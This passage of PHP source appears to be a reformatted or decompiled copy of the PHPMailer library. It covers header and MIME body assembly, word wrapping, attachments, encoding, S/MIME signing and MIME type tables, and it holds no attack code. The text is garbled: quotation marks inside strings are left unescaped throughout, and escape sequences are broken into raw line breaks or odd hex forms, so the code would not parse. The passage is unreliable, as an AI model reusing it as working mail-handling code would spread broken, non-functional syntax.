", "mailer_not_supported" => " mailer is not supported.", "provide_address" => "You must provide at least one recipient email address.", "recipients_failed" => "SMTP Error: The following recipients failed: ", "signing" => "Signing Error: ", "smtp_connect_failed" => "SMTP connect() failed.", "smtp_error" => "SMTP server error: ", "variable_set" => "Cannot set or reset variable: ", "extension_missing" => "Extension missing: "); if (empty($lang_path)) { $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . "language" . DIRECTORY_SEPARATOR; } if (!preg_match("/^[a-z]{2}(?:_[a-zA-Z]{2})?$/", $langcode)) { $langcode = "en"; } $foundlang = true; $lang_file = $lang_path . "phpmailer.lang-" . $langcode . ".php"; if ($langcode != "en") { if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) { $foundlang = false; } else { $foundlang = (include $lang_file); } } $this->language = $PHPMAILER_LANG; return (bool) $foundlang; } public function getTranslations() { return $this->language; } public function addrAppend($type, $addr) { $addresses = array(); foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); } return $type . ": " . implode(", ", $addresses) . $this->LE; } public function addrFormat($addr) { if (empty($addr[1])) { return $this->secureHeader($addr[0]); } else { return $this->encodeHeader($this->secureHeader($addr[1]), "phrase") . " <" . $this->secureHeader($addr[0]) . ">"; } } public function wrapText($message, $length, $qp_mode = false) { if ($qp_mode) { $soft_break = sprintf(" =%s", $this->LE); } else { $soft_break = $this->LE; } $is_utf8 = strtolower($this->CharSet) == "utf-8"; $lelen = strlen($this->LE); $crlflen = strlen(self::CRLF); $message = $this->fixEOL($message); if (substr($message, -$lelen) == $this->LE) { $message = substr($message, 0, -$lelen); } $lines = explode($this->LE, $message); $message = ''; foreach ($lines as $line) { $words = explode(" ", $line); $buf = ''; $firstword = true; foreach ($words as $word) { if ($qp_mode and strlen($word) > $length) { $space_left = $length - strlen($buf) - $crlflen; if (!$firstword) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "=") { $len--; } elseif (substr($word, $len - 2, 1) == "=") { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf .= " " . $part; $message .= $buf . sprintf("=%s", self::CRLF); } else { $message .= $buf . $soft_break; } $buf = ''; } while (strlen($word) > 0) { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "=") { $len--; } elseif (substr($word, $len - 2, 1) == "=") { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); if (strlen($word) > 0) { $message .= $part . sprintf("=%s", self::CRLF); } else { $buf = $part; } } } else { $buf_o = $buf; if (!$firstword) { $buf .= " "; } $buf .= $word; if (strlen($buf) > $length and $buf_o != '') { $message .= $buf_o . $soft_break; $buf = $word; } } $firstword = false; } $message .= $buf . self::CRLF; } return $message; } public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, "="); if (false !== $encodedCharPos) { $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { if ($encodedCharPos > 0) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); } $foundSplitPos = true; } elseif ($dec >= 192) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec < 192) { $lookBack += 3; } } else { $foundSplitPos = true; } } return $maxLength; } public function setWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case "alt": case "alt_inline": case "alt_attach": case "alt_inline_attach": $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); break; } } public function createHeader() { $result = ''; $result .= $this->headerLine("Date", $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate); if ($this->SingleTo) { if ($this->Mailer != "mail") { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); } } } else { if (count($this->to) > 0) { if ($this->Mailer != "mail") { $result .= $this->addrAppend("To", $this->to); } } elseif (count($this->cc) == 0) { $result .= $this->headerLine("To", "undisclosed-recipients:;"); } } $result .= $this->addrAppend("From", array(array(trim($this->From), $this->FromName))); if (count($this->cc) > 0) { $result .= $this->addrAppend("Cc", $this->cc); } if (($this->Mailer == "sendmail" or $this->Mailer == "qmail" or $this->Mailer == "mail") and count($this->bcc) > 0) { $result .= $this->addrAppend("Bcc", $this->bcc); } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend("Reply-To", $this->ReplyTo); } if ($this->Mailer != "mail") { $result .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader($this->Subject))); } if ('' != $this->MessageID and preg_match("/^<.*@.*>$/", $this->MessageID)) { $this->lastMessageID = $this->MessageID; } else { $this->lastMessageID = sprintf("<%s@%s>", $this->uniqueid, $this->serverHostname()); } $result .= $this->headerLine("Message-ID", $this->lastMessageID); if (!is_null($this->Priority)) { $result .= $this->headerLine("X-Priority", $this->Priority); } if ($this->XMailer == '') { $result .= $this->headerLine("X-Mailer", "PHPMailer " . $this->Version . " (https://github.com/PHPMailer/PHPMailer)"); } else { $myXmailer = trim($this->XMailer); if ($myXmailer) { $result .= $this->headerLine("X-Mailer", $myXmailer); } } if ($this->ConfirmReadingTo != '') { $result .= $this->headerLine("Disposition-Notification-To", "<" . $this->ConfirmReadingTo . ">"); } foreach ($this->CustomHeader as $header) { $result .= $this->headerLine(trim($header[0]), $this->encodeHeader(trim($header[1]))); } if (!$this->sign_key_file) { $result .= $this->headerLine("MIME-Version", "1.0"); $result .= $this->getMailMIME(); } return $result; } public function getMailMIME() { $result = ''; $ismultipart = true; switch ($this->message_type) { case "inline": $result .= $this->headerLine("Content-Type", "multipart/related;"); $result .= $this->textLine("	boundary="" . $this->boundary[1] . """); break; case "attach": case "inline_attach": case "alt_attach": case "alt_inline_attach": $result .= $this->headerLine("Content-Type", "multipart/mixed;"); $result .= $this->textLine("\x9boundary="" . $this->boundary[1] . """); break; case "alt": case "alt_inline": $result .= $this->headerLine("Content-Type", "multipart/alternative;"); $result .= $this->textLine("\x9boundary="" . $this->boundary[1] . """); break; default: $result .= $this->textLine("Content-Type: " . $this->ContentType . "; charset=" . $this->CharSet); $ismultipart = false; break; } if ($this->Encoding != "7bit") { if ($ismultipart) { if ($this->Encoding == "8bit") { $result .= $this->headerLine("Content-Transfer-Encoding", "8bit"); } } else { $result .= $this->headerLine("Content-Transfer-Encoding", $this->Encoding); } } if ($this->Mailer != "mail") { $result .= $this->LE; } return $result; } public function getSentMIMEMessage() { return rtrim($this->MIMEHeader . $this->mailHeader, "
\xd") . self::CRLF . self::CRLF . $this->MIMEBody; } protected function generateId() { return md5(uniqid(time())); } public function createBody() { $body = ''; $this->uniqueid = $this->generateId(); $this->boundary[1] = "b1_" . $this->uniqueid; $this->boundary[2] = "b2_" . $this->uniqueid; $this->boundary[3] = "b3_" . $this->uniqueid; if ($this->sign_key_file) { $body .= $this->getMailMIME() . $this->LE; } $this->setWordWrap(); $bodyEncoding = $this->Encoding; $bodyCharSet = $this->CharSet; if ($bodyEncoding == "8bit" and !$this->has8bitChars($this->Body)) { $bodyEncoding = "7bit"; $bodyCharSet = "us-ascii"; } if ("base64" != $this->Encoding and self::hasLineLongerThanMax($this->Body)) { $bodyEncoding = "quoted-printable"; } $altBodyEncoding = $this->Encoding; $altBodyCharSet = $this->CharSet; if ($altBodyEncoding == "8bit" and !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = "7bit"; $altBodyCharSet = "us-ascii"; } if ("base64" != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) { $altBodyEncoding = "quoted-printable"; } $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE; switch ($this->message_type) { case "inline": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("inline", $this->boundary[1]); break; case "attach": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("attachment", $this->boundary[1]); break; case "inline_attach": $body .= $mimepre; $body .= $this->textLine("--" . $this->boundary[1]); $body .= $this->headerLine("Content-Type", "multipart/related;"); $body .= $this->textLine("	boundary="" . $this->boundary[2] . """); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("inline", $this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("attachment", $this->boundary[1]); break; case "alt": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, "text/plain", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, "text/html", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; if (!empty($this->Ical)) { $body .= $this->getBoundary($this->boundary[1], '', "text/calendar; method=REQUEST", ''); $body .= $this->encodeString($this->Ical, $this->Encoding); $body .= $this->LE . $this->LE; } $body .= $this->endBoundary($this->boundary[1]); break; case "alt_inline": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, "text/plain", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine("--" . $this->boundary[1]); $body .= $this->headerLine("Content-Type", "multipart/related;"); $body .= $this->textLine("	boundary="" . $this->boundary[2] . """); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, "text/html", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("inline", $this->boundary[2]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[1]); break; case "alt_attach": $body .= $mimepre; $body .= $this->textLine("--" . $this->boundary[1]); $body .= $this->headerLine("Content-Type", "multipart/alternative;"); $body .= $this->textLine("\x9boundary="" . $this->boundary[2] . """); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, "text/plain", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, "text/html", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("attachment", $this->boundary[1]); break; case "alt_inline_attach": $body .= $mimepre; $body .= $this->textLine("--" . $this->boundary[1]); $body .= $this->headerLine("Content-Type", "multipart/alternative;"); $body .= $this->textLine("	boundary="" . $this->boundary[2] . """); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, "text/plain", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine("--" . $this->boundary[2]); $body .= $this->headerLine("Content-Type", "multipart/related;"); $body .= $this->textLine("	boundary="" . $this->boundary[3] . """); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, "text/html", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("inline", $this->boundary[3]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("attachment", $this->boundary[1]); break; default: $this->Encoding = $bodyEncoding; $body .= $this->encodeString($this->Body, $this->Encoding); break; } if ($this->isError()) { $body = ''; } elseif ($this->sign_key_file) { try { if (!defined("PKCS7_TEXT")) { throw new phpmailerException($this->lang("extension_missing") . "openssl"); } $file = tempnam(sys_get_temp_dir(), "mail"); if (false === file_put_contents($file, $body)) { throw new phpmailerException($this->lang("signing") . " Could not write temp file"); } $signed = tempnam(sys_get_temp_dir(), "signed"); if (empty($this->sign_extracerts_file)) { $sign = @openssl_pkcs7_sign($file, $signed, "file://" . realpath($this->sign_cert_file), array("file://" . realpath($this->sign_key_file), $this->sign_key_pass), null); } else { $sign = @openssl_pkcs7_sign($file, $signed, "file://" . realpath($this->sign_cert_file), array("file://" . realpath($this->sign_key_file), $this->sign_key_pass), null, PKCS7_DETACHED, $this->sign_extracerts_file); } if ($sign) { @unlink($file); $body = file_get_contents($signed); @unlink($signed); $parts = explode("
\xa", $body, 2); $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE; $body = $parts[1]; } else { @unlink($file); @unlink($signed); throw new phpmailerException($this->lang("signing") . openssl_error_string()); } } catch (phpmailerException $exc) { $body = ''; if ($this->exceptions) { throw $exc; } } } return $body; } protected function getBoundary($boundary, $charSet, $contentType, $encoding) { $result = ''; if ($charSet == '') { $charSet = $this->CharSet; } if ($contentType == '') { $contentType = $this->ContentType; } if ($encoding == '') { $encoding = $this->Encoding; } $result .= $this->textLine("--" . $boundary); $result .= sprintf("Content-Type: %s; charset=%s", $contentType, $charSet); $result .= $this->LE; if ($encoding != "7bit") { $result .= $this->headerLine("Content-Transfer-Encoding", $encoding); } $result .= $this->LE; return $result; } protected function endBoundary($boundary) { return $this->LE . "--" . $boundary . "--" . $this->LE; } protected function setMessageType() { $type = array(); if ($this->alternativeExists()) { $type[] = "alt"; } if ($this->inlineImageExists()) { $type[] = "inline"; } if ($this->attachmentExists()) { $type[] = "attach"; } $this->message_type = implode("_", $type); if ($this->message_type == '') { $this->message_type = "plain"; } } public function headerLine($name, $value) { return $name . ": " . $value . $this->LE; } public function textLine($value) { return $value . $this->LE; } public function addAttachment($path, $name = '', $encoding = "base64", $type = '', $disposition = "attachment") { try { if (!self::isPermittedPath($path) or !@is_file($path)) { throw new phpmailerException($this->lang("file_access") . $path, self::STOP_CONTINUE); } if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => 0); } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } public function getAttachments() { return $this->attachment; } protected function attachAll($disposition_type, $boundary) { $mime = array(); $cidUniq = array(); $incl = array(); foreach ($this->attachment as $attachment) { if ($attachment[6] == $disposition_type) { $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = md5(serialize($attachment)); if (in_array($inclhash, $incl)) { continue; } $incl[] = $inclhash; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ($disposition == "inline" && array_key_exists($cid, $cidUniq)) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf("--%s%s", $boundary, $this->LE); if (!empty($name)) { $mime[] = sprintf("Content-Type: %s; name="%s"%s", $type, $this->encodeHeader($this->secureHeader($name)), $this->LE); } else { $mime[] = sprintf("Content-Type: %s%s", $type, $this->LE); } if ($encoding != "7bit") { $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE); } if ($disposition == "inline") { $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE); } if (!empty($disposition)) { $encoded_name = $this->encodeHeader($this->secureHeader($name)); if (preg_match("/[ \(\)<>@,;:\"\/\[\]\?=]/", $encoded_name)) { $mime[] = sprintf("Content-Disposition: %s; filename="%s"%s", $disposition, $encoded_name, $this->LE . $this->LE); } else { if (!empty($encoded_name)) { $mime[] = sprintf("Content-Disposition: %s; filename=%s%s", $disposition, $encoded_name, $this->LE . $this->LE); } else { $mime[] = sprintf("Content-Disposition: %s%s", $disposition, $this->LE . $this->LE); } } } else { $mime[] = $this->LE; } if ($bString) { $mime[] = $this->encodeString($string, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } else { $mime[] = $this->encodeFile($path, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } } } $mime[] = sprintf("--%s--%s", $boundary, $this->LE); return implode('', $mime); } protected function encodeFile($path, $encoding = "base64") { try { if (!self::isPermittedPath($path) or !file_exists($path)) { throw new phpmailerException($this->lang("file_open") . $path, self::STOP_CONTINUE); } $magic_quotes = false; if (version_compare(PHP_VERSION, "7.4.0", "<")) { $magic_quotes = get_magic_quotes_runtime(); } if ($magic_quotes) { if (version_compare(PHP_VERSION, "5.3.0", "<")) { set_magic_quotes_runtime(false); } else { ini_set("magic_quotes_runtime", false); } } $file_buffer = file_get_contents($path); $file_buffer = $this->encodeString($file_buffer, $encoding); if ($magic_quotes) { if (version_compare(PHP_VERSION, "5.3.0", "<")) { set_magic_quotes_runtime($magic_quotes); } else { ini_set("magic_quotes_runtime", $magic_quotes); } } return $file_buffer; } catch (Exception $exc) { $this->setError($exc->getMessage()); return ''; } } public function encodeString($str, $encoding = "base64") { $encoded = ''; switch (strtolower($encoding)) { case "base64": $encoded = chunk_split(base64_encode($str), 76, $this->LE); break; case "7bit": case "8bit": $encoded = $this->fixEOL($str); if (substr($encoded, -strlen($this->LE)) != $this->LE) { $encoded .= $this->LE; } break; case "binary": $encoded = $str; break; case "quoted-printable": $encoded = $this->encodeQP($str); break; default: $this->setError($this->lang("encoding") . $encoding); break; } return $encoded; } public function encodeHeader($str, $position = "text") { $matchcount = 0; switch (strtolower($position)) { case "phrase": if (!preg_match("/[\200-\377]/", $str)) { $encoded = addcslashes($str, "\x0..\x1f\x7f\""); if ($str == $encoded && !preg_match("/[^A-Za-z0-9!#$%&'*+\/=?^_`{|}~ -]/", $str)) { return $encoded; } else { return ""{$encoded}""; } } $matchcount = preg_match_all("/[^\040\041\043-\133\135-\176]/", $str, $matches); break; case "comment": $matchcount = preg_match_all("/[()"]/", $str, $matches); case "text": default: $matchcount += preg_match_all("/[\000-\010\013\014\016-\037\177-\377]/", $str, $matches); break; } if ($matchcount == 0) { return $str; } $maxlen = 75 - 7 - strlen($this->CharSet); if ($matchcount > strlen($str) / 3) { $encoding = "B"; if (function_exists("mb_strlen") && $this->hasMultiBytes($str)) { $encoded = $this->base64EncodeWrapMB($str, "
"); } else { $encoded = base64_encode($str); $maxlen -= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "\xa")); } } else { $encoding = "Q"; $encoded = $this->encodeQ($str, $position); $encoded = $this->wrapText($encoded, $maxlen, true); $encoded = str_replace("=" . self::CRLF, "
", trim($encoded)); } $encoded = preg_replace("/^(.*)$/m", " =?" . $this->CharSet . "?{$encoding}?\1?=", $encoded); $encoded = trim(str_replace("
", $this->LE, $encoded)); return $encoded; } public function hasMultiBytes($str) { if (function_exists("mb_strlen")) { return strlen($str) > mb_strlen($str, $this->CharSet); } else { return false; } } public function has8bitChars($text) { return (bool) preg_match("/[\x80-\xFF]/", $text); } public function base64EncodeWrapMB($str, $linebreak = null) { $start = "=?" . $this->CharSet . "?B?"; $end = "?="; $encoded = ''; if ($linebreak === null) { $linebreak = $this->LE; } $mb_length = mb_strlen($str, $this->CharSet); $length = 75 - strlen($start) - strlen($end); $ratio = $mb_length / strlen($str); $avgLength = floor($length * $ratio * 0.75); for ($i = 0; $i < $mb_length; $i += $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->CharSet); $chunk = base64_encode($chunk); $lookBack++; } while (strlen($chunk) > $length); $encoded .= $chunk . $linebreak; } $encoded = substr($encoded, 0, -strlen($linebreak)); return $encoded; } public function encodeQP($string, $line_max = 76) { if (function_exists("quoted_printable_encode")) { return quoted_printable_encode($string); } $string = str_replace(array("%20", "%0D%0A.", "%0D%0A", "%"), array(" ", "
=2E", "\xd\xa", "="), rawurlencode($string)); return preg_replace("/[^\r\n]{" . ($line_max - 3) . "}[^=\r\n]{2}/", "$0=\xd\xa", $string); } public function encodeQPphp($string, $line_max = 76, $space_conv = false) { return $this->encodeQP($string, $line_max); } public function encodeQ($str, $position = "text") { $pattern = ''; $encoded = str_replace(array("
", "
"), '', $str); switch (strtolower($position)) { case "phrase": $pattern = "^A-Za-z0-9!*+\/ -"; break; case "comment": $pattern = "\(\)""; case "text": default: $pattern = "\000-\011\013\014\016-\037\075\077\137\177-\377" . $pattern; break; } $matches = array(); if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { $eqkey = array_search("=", $matches[0]); if (false !== $eqkey) { unset($matches[0][$eqkey]); array_unshift($matches[0], "="); } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, "=" . sprintf("%02X", ord($char)), $encoded); } } return str_replace(" ", "_", $encoded); } public function addStringAttachment($string, $filename, $encoding = "base64", $type = '', $disposition = "attachment") { if ($type == '') { $type = self::filenameToType($filename); } $this->attachment[] = array(0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => 0); } public function addEmbeddedImage($path, $cid, $name = '', $encoding = "base64", $type = '', $disposition = "inline") { if (!self::isPermittedPath($path) or !@is_file($path)) { $this->setError($this->lang("file_access") . $path); return false; } if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => $cid); return true; } public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = "base64", $type = '', $disposition = "inline") { if ($type == '' and !empty($name)) { $type = self::filenameToType($name); } $this->attachment[] = array(0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => $cid); return true; } public function inlineImageExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == "inline") { return true; } } return false; } public function attachmentExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == "attachment") { return true; } } return false; } public function alternativeExists() { return !empty($this->AltBody); } public function clearQueuedAddresses($kind) { $RecipientsQueue = $this->RecipientsQueue; foreach ($RecipientsQueue as $address => $params) { if ($params[0] == $kind) { unset($this->RecipientsQueue[$address]); } } } public function clearAddresses() { foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); } $this->to = array(); $this->clearQueuedAddresses("to"); } public function clearCCs() { foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); } $this->cc = array(); $this->clearQueuedAddresses("cc"); } public function clearBCCs() { foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); } $this->bcc = array(); $this->clearQueuedAddresses("bcc"); } public function clearReplyTos() { $this->ReplyTo = array(); $this->ReplyToQueue = array(); } public function clearAllRecipients() { $this->to = array(); $this->cc = array(); $this->bcc = array(); $this->all_recipients = array(); $this->RecipientsQueue = array(); } public function clearAttachments() { $this->attachment = array(); } public function clearCustomHeaders() { $this->CustomHeader = array(); } protected function setError($msg) { $this->error_count++; if ($this->Mailer == "smtp" and !is_null($this->smtp)) { $lasterror = $this->smtp->getError(); if (!empty($lasterror["error"])) { $msg .= $this->lang("smtp_error") . $lasterror["error"]; if (!empty($lasterror["detail"])) { $msg .= " Detail: " . $lasterror["detail"]; } if (!empty($lasterror["smtp_code"])) { $msg .= " SMTP code: " . $lasterror["smtp_code"]; } if (!empty($lasterror["smtp_code_ex"])) { $msg .= " Additional SMTP info: " . $lasterror["smtp_code_ex"]; } } } $this->ErrorInfo = $msg; } public static function rfcDate() { date_default_timezone_set(@date_default_timezone_get()); return date("D, j M Y H:i:s O"); } protected function serverHostname() { $result = "localhost.localdomain"; if (!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER) and array_key_exists("SERVER_NAME", $_SERVER) and !empty($_SERVER["SERVER_NAME"])) { $result = $_SERVER["SERVER_NAME"]; } elseif (function_exists("gethostname") && gethostname() !== false) { $result = gethostname(); } elseif (php_uname("n") !== false) { $result = php_uname("n"); } return $result; } protected function lang($key) { if (count($this->language) < 1) { $this->setLanguage("en"); } if (array_key_exists($key, $this->language)) { if ($key == "smtp_connect_failed") { return $this->language[$key] . " https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting"; } return $this->language[$key]; } else { return $key; } } public function isError() { return $this->error_count > 0; } public function fixEOL($str) { $nstr = str_replace(array("
\xa", "\xd"), "
", $str); if ($this->LE !== "\xa") { $nstr = str_replace("\xa", $this->LE, $nstr); } return $nstr; } public function addCustomHeader($name, $value = null) { if ($value === null) { $this->CustomHeader[] = explode(":", $name, 2); } else { $this->CustomHeader[] = array($name, $value); } } public function getCustomHeaders() { return $this->CustomHeader; } public function msgHTML($message, $basedir = '', $advanced = false) { preg_match_all("/(src|background)=["'](.*)["']/Ui", $message, $images); if (array_key_exists(2, $images)) { if (strlen($basedir) > 1 && substr($basedir, -1) != "/") { $basedir .= "/"; } foreach ($images[2] as $imgindex => $url) { if (preg_match("#^data:(image[^;,]*)(;base64)?,#", $url, $match)) { $data = substr($url, strpos($url, ",")); if ($match[2]) { $data = base64_decode($data); } else { $data = rawurldecode($data); } $cid = md5($url) . "@phpmailer.0"; if ($this->addStringEmbeddedImage($data, $cid, "embed" . $imgindex, "base64", $match[1])) { $message = str_replace($images[0][$imgindex], $images[1][$imgindex] . "="cid:" . $cid . """, $message); } continue; } if (!empty($basedir) && strpos($url, "..") === false && substr($url, 0, 4) !== "cid:" && !preg_match("#^[a-z][a-z0-9+.-]*:?//#i", $url)) { $filename = basename($url); $directory = dirname($url); if ($directory == ".") { $directory = ''; } $cid = md5($url) . "@phpmailer.0"; if (strlen($directory) > 1 && substr($directory, -1) != "/") { $directory .= "/"; } if ($this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, "base64", self::_mime_types((string) self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) { $message = preg_replace("/" . $images[1][$imgindex] . "=["']" . preg_quote($url, "/") . "["']/Ui", $images[1][$imgindex] . "="cid:" . $cid . """, $message); } } } } $this->isHTML(true); $this->Body = $this->normalizeBreaks($message); $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced)); if (!$this->alternativeExists()) { $this->AltBody = "To view this email message, open it in a program that understands HTML!" . self::CRLF . self::CRLF; } return $this->Body; } public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html); } return html_entity_decode(trim(strip_tags(preg_replace("/<(head|title|style|script)[^>]*>.*?<\/\1>/si", '', $html))), ENT_QUOTES, $this->CharSet); } public static function _mime_types($ext = '') { $mimes = array("xl" => "application/excel", "js" => "application/javascript", "hqx" => "application/mac-binhex40", "cpt" => "application/mac-compactpro", "bin" => "application/macbinary", "doc" => "application/msword", "word" => "application/msword", "xlsx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", "xltx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.template", "potx" => "application/vnd.openxmlformats-officedocument.presentationml.template", "ppsx" => "application/vnd.openxmlformats-officedocument.presentationml.slideshow", "pptx" => "application/vnd.openxmlformats-officedocument.presentationml.presentation", "sldx" => "application/vnd.openxmlformats-officedocument.presentationml.slide", "docx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.document", "dotx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.template", "xlam" => "application/vnd.ms-excel.addin.macroEnabled.12", "xlsb" => "application/vnd.ms-excel.sheet.binary.macroEnabled.12", "class" => "application/octet-stream", "dll" => "application/octet-stream", "dms" => "application/octet-stream", "exe" => "application/octet-stream", "lha" => "application/octet-stream", "lzh" => "application/octet-stream", "psd" => "application/octet-stream", "sea" => "application/octet-stream", "so" => "application/octet-stream", "oda" => "application/oda", "pdf" => "application/pdf", "ai" => "application/postscript", "eps" => "application/postscript", "ps" => "application/postscript", "smi" => "application/smil", "smil" => "application/smil", "mif" => "application/vnd.mif", "xls" => "application/vnd.ms-excel", "ppt" => "application/vnd.ms-powerpoint", "wbxml" => "application/vnd.wap.wbxml", "wmlc" => "application/vnd.wap.wmlc", "dcr" => "application/x-director", "dir" => "application/x-director", "dxr" => "application/x-director", "dvi" => "application/x-dvi", "gtar" => "application/x-gtar", "php3" => "application/x-httpd-php", "php4" => "application/x-httpd-php", "php" => "application/x-httpd-php", "phtml" => "application/x-httpd-php", "phps" => "application/x-httpd-php-source", "swf" => "application/x-shockwave-flash", "sit" => "application/x-stuffit", "tar" => "application/x-tar", "tgz" => "application/x-tar", "xht" => "application/xhtml+xml", "xhtml" => "application/xhtml+xml", "zip" => "application/zip", "mid" => "audio/midi", "midi" => "audio/midi", "mp2" => "audio/mpeg", "mp3" => "audio/mpeg", "mpga" => "audio/mpeg", "aif" => "audio/x-aiff", "aifc" => "audio/x-aiff", "aiff" => "audio/x-aiff", "ram" => "audio/x-pn-realaudio", "rm" => "audio/x-pn-realaudio", "rpm" => "audio/x-pn-realaudio-plugin", "ra" => "audio/x-realaudio", "wav" => "audio/x-wav", "bmp" => "image/bmp", "gif" => "image/gif", "jpeg" => "image/jpeg", "jpe" => "image/jpeg", "jpg" => "image/jpeg", "png" => "image/png", "tiff" => "image/tiff", "tif" => "image/tiff", "eml" => "message/rfc822", "css" => "text/css", "html" => "text/html", "htm" => "text/html", "shtml" => "text/html", "log" => "text/plain", "text" => "text/plain", "txt" => "text/plain", "rtx" => "text/richtext", "rtf" => "text/rtf", "vcf" => "text/vcard", "vcard" => "text/vcard", "xml" => "text/xml", "xsl" => "text/xml", "mpeg" => "video/mpeg", "mpe" 